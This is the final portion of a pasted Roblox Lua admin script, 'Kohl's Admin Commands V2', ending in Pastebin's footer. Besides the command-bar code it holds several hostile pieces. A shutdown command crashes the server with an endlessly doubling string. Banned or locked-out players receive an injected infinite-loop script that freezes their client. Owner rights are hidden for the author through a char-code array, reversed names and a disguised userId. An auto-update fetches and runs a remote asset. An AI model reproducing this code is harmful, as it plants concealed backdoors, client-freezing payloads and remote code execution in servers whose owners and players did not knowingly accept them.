  4876. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  4877.  
  4878. end
  4879. end))
  4880. end
  4881.  
  4882. function AdminControl(plr)
  4883. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  4884. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  4885. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  4886. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  4887. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  4888. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  4889. end)) end
  4890. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  4891. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  4892. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  4893. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  4894. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  4895. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  4896. end
  4897.  
  4898. if not ntab then script:Destroy() end
  4899. if not bct then script:Destroy() end
  4900.  
  4901. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  4902.  
  4903. script.Name = "Kohl's Admin Commands V2"
  4904.  
  4905. if not ntab then script:Destroy() end
  4906. if not bct then script:Destroy() end
  4907. if not tcb then script:Destroy() end
  4908. game.Players.PlayerAdded:connect(AdminControl)
  4909. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  4910. end
  4911.  
  4912. local mod = game:service("InsertService"):LoadAsset(100808216)
  4913. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  4914. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  4915. newac.Disabled = true
  4916. local new = tonumber(mod:findFirstChild("Version", true).Value)
  4917. local old = 0
  4918. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  4919. if new > old then
  4920. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  4921. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  4922. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  4923. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  4924. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  4925. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  4926. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  4927. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  4928. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  4929. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  4930. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  4931. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  4932. wait()
  4933. newac.Parent = game.Workspace
  4934. newac.Disabled = false
  4935. script.Disabled = true
  4936. script:Destroy()
  4937. else
  4938. CHEESE()
  4939. end
  4940. else
  4941. CHEESE()
  4942. end
  4943.  
  4944.  
  4945. create new paste / dealsnew! / api / trends / syntax languages / faq / tools / privacy / cookies / contact / dmca / advertise on pastebin / scraping / go
  4946. Dedicated Server Hosting by Steadfast
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement